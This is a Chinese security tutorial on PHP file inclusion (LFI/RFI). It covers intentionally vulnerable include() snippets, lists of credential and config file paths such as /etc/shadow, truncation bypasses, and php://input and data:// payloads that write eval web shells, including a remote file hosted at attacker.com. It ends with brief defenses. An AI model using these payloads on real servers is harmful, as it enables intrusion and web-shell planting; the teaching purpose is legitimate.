前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货 | 一文了解文件包含漏洞

干货 | 一文了解文件包含漏洞

作者头像
网络安全自修室
发布2022-03-30 21:27:56
1.9K0
发布2022-03-30 21:27:56
举报
文章被收录于专栏:网络安全自修室

1、免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途。

2、内容速览

1、什么是文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

代码语言:javascript
复制
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

文件包含漏洞

  • 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含
  • Web应用的脚本代码在包含文件的时候过滤不严,从而注入一段攻击者能够控制的代码例子 _GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数 攻击者可以修改_GET['filename']的值,执行非预期的操作
代码语言:javascript
复制
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
常见的文件包含函数

PHP中文件包含函数有以下四种:

require() require_once() include() include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

2、本地文件包含漏洞

能够打开并包含本地文件,读取敏感信息内容。大部分文件包含都是本地包含

无限制本地文件包含漏洞
代码语言:javascript
复制
<?php
show_source(__FILE__);
if(isset($_GET['file'])){<!-- -->
    $file = $_GET['file'];
    include($file);
}else{<!-- -->
    echo "Can you find me???";
}
?>

由于没有任何限制所以可以通过目录遍历漏洞来获取到系统中的其他内容,因为考察文件包含经常是结合任意文件读取漏洞的,所以就总结一些文件常见读取路径

常见的敏感目录如下

  • windows系统
代码语言:javascript
复制
# 查看系统版本
c:\boot.ini

# IIS配置文件
c:\windows\system32\inetsrv\MetaBase.xml 

# 存储Windows系统初次安装的密码
c:\windows\repair\sam 

# MySQL配置
c:\ProgramFiles\mysql\my.ini 

# MySQL root密码
c:\ProgramFiles\mysql\data\mysql\user.MYD 

# php 配置信息
c:\windows\php.ini
  • linux系统
代码语言:javascript
复制
# 账户信息
/etc/passwd

# 账户密码文件
/etc/shadow

# Apache2默认配置文件
/usr/local/app/apache2/conf/httpd.conf

# 虚拟网站配置
/usr/local/app/apache2/conf/extra/httpd-vhost.conf

# PHP 配置文件
/usr/local/app/php5/lib/php.ini

# Apache 配置文件
/etc/httpd/conf/httpd.conf

# MySQL 配置文件
/etc/my.conf      
session文件包含漏洞

linux系统session的存储位置默认存储在/var/lib/php/session目录下

测试代码

代码语言:javascript
复制
<?php
session_start();
$test=$_GET['testsession'];
$_SESSION["username"]=$test;
?>
  • 将获取到的GET型testsession变量的值存入到session中
  • 当访问http://[ip]/session.php?testsession=test 后,会在/var/lib/php/session目录下存储session的值
  • 通过数据抓包可获取sessionid,session存储的文件名一般命名为sess_+sessionid
利用方式

通过将一句话带入参数,使用GET访问目标地址http://[ip]/session.php?ctfs=<?php phpinfo();?>

会在目录下存储session的值,session文件名称通过开发者模式可查看获取,然后通过访问该session文件进行执行payload

有限制本地文件包含漏洞

测试代码

代码语言:javascript
复制
<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

假如用户控制$filename的值为../../etc/passwd

那么这段代码相当于include '/home/wwwrun/../../etc/passwd.html',而这个文件显然是不存在,这就需要截断,有以下几种截断方式:

1、%00截断

用0字节(\x00)将作为字符串结束符,截断$filename变量之后的字符串

例如:

代码语言:javascript
复制
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

条件

  • magic_quotes_gpc = Off
  • php版本<5.3.4

2、路径长度截断

除了用%00截断,还可以用长度截断

  • Windows下目录最大长度为256字节,超出的部分会被丢弃
  • Linux下目录最大长度为4096字节,超出的部分会被丢弃

例如:

3、点号截断

类似于长度截断,windows下点号需要长于256

例如:

3、远程文件包含漏洞

远程文件包含漏洞,能够包含远程服务器上的文件并执行,由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大条件较为苛刻,PHP的配置条件需要如下:

  • allow_url_fopen = On,这个选项默认一直是On
  • allow_url_include = On,这个选项从php5.2之后就默认为Off
无限制远程文件包含漏洞

测试代码

代码语言:javascript
复制
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
利用方式

构造一个文件http://www.attacker.com/echo.txt 代码如下:

代码语言:javascript
复制
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[test]);?>");?>

访问

http://www.example.com/index.php?page=http://www.attacker.com/echo.txt

将会在目标网络的index.php所在的目录下生成shell.php,内容为:

代码语言:javascript
复制
<?php eval($_POST[test]);?>

然后就可以通过这个木马得到shell

这可以配合文件上传 比如将上面这个echo.txt通过图片马上传到服务器,路径为/uploadfile/xxx.jpg

访问http://www.example.com/index.php?page=./uploadfile/xxx.jpg即可

有限制远程文件包含漏洞

测试代码:

代码语言:javascript
复制
<?php include($_GET['filename'] . ".html"); ?>

同样是多了个后缀 需要绕过

1、问号绕过

例子

代码语言:javascript
复制
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://ip/FI/php.txt?

2、#号绕过

代码语言:javascript
复制
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://ip/FI/php.txt%23

4、利用示例

1、如果存在本地文件包含漏洞时,不论包含 txt 还是 jpg,程序都会以 php 来解析运行,也就意味着可以上传一句话木马,直接用菜刀连接。

例如新建一个 1.txt 内容为:

代码语言:javascript
复制
<?php @eval($_POST['caidao']);?>

随后将后缀改为 jpg,利用文件包含漏洞包含此文件,结果如下:

2、可以利用 php://input 输入流执行任意命令,前提是 php.ini 的 allow_url_include 项设置为 on,不受版本控制,例如以下操作图:

使用火狐插件 hackbar 即可。

3、利用 php 的数据协议 data:// 可以查看文件源代码,前提是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on, 例如以下操作图:

当碰到 WAF 时,可以把 <> 这些特殊符号进行编码再试

5、PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议

php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

1、php://filter

  • 元封装器,设计用于”数据流打开”时的”筛选过滤”应用
  • 本地磁盘文件进行读取有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的 这时候我们可以以base64编码的方式读取指定文件的源码

用法

代码语言:javascript
复制
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php

2、php://input

  • 可以访问请求的原始数据的只读流
  • 即可以直接读取到POST上没有经过解析的原始数据
  • 在遇到file_get_contents()时可以用php://input绕过

使用burpsuite抓包再改包,Payload:

http://ip/file.php?a=php://input

更改请求方式为post,post过去的代码为

代码语言:javascript
复制
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

再发包即可生成一个shell.php文件,然后使用蚁剑连接

file:// 读取文件内容

通过file协议可以访问本地文件系统,读取到文件的内容

data:// 读取文件

数据流封装器,和php://相似都是利用了流的概念

将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流

条件

  • php版本大于等于php5.2,执行命令
代码语言:javascript
复制
?file=data:text/plain,<?php phpinfo();?>

将木马使用base64编码

代码语言:javascript
复制
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

编码之后

PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

Payload:

代码语言:javascript
复制
http://ip/file.php?a=data://text/plain;base64,PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==

使用该payload即可在网站根目录下生成shell.php文件,然后蚁剑连接

phar:// 针对压缩包

php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,需要将一句话木马文件打包成zip压缩宝,然后将后缀改成png等其它格式

zip:// 针对压缩包

类似phar://,但是使用方法和条件有点区别

条件

  • 压缩包需要zip协议压缩
  • php版本大于等于php5.3.0,windows下php还得小于5.4
  • #编码为%23,接上压缩包内的文件 需要指定绝对路径

6、防范

  • 不用动态包含,可以在需要包含的页面固定写好,如include("head.php");
  • 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
  • 路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符
  • 包含文件验证:验证被包含的文件在白名单中
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、什么是文件包含
  • 漏洞产生原因
    • 常见的文件包含函数
    • 2、本地文件包含漏洞
      • 无限制本地文件包含漏洞
        • session文件包含漏洞
          • 利用方式
        • 有限制本地文件包含漏洞
        • 3、远程文件包含漏洞
          • 无限制远程文件包含漏洞
            • 利用方式
          • 有限制远程文件包含漏洞
          • 4、利用示例
          • 5、PHP伪协议
            • php:// 输入输出流
              • file:// 读取文件内容
                • data:// 读取文件
                  • phar:// 针对压缩包
                    • zip:// 针对压缩包
                    • 6、防范
                    相关产品与服务
                    云数据库 MySQL
                    腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档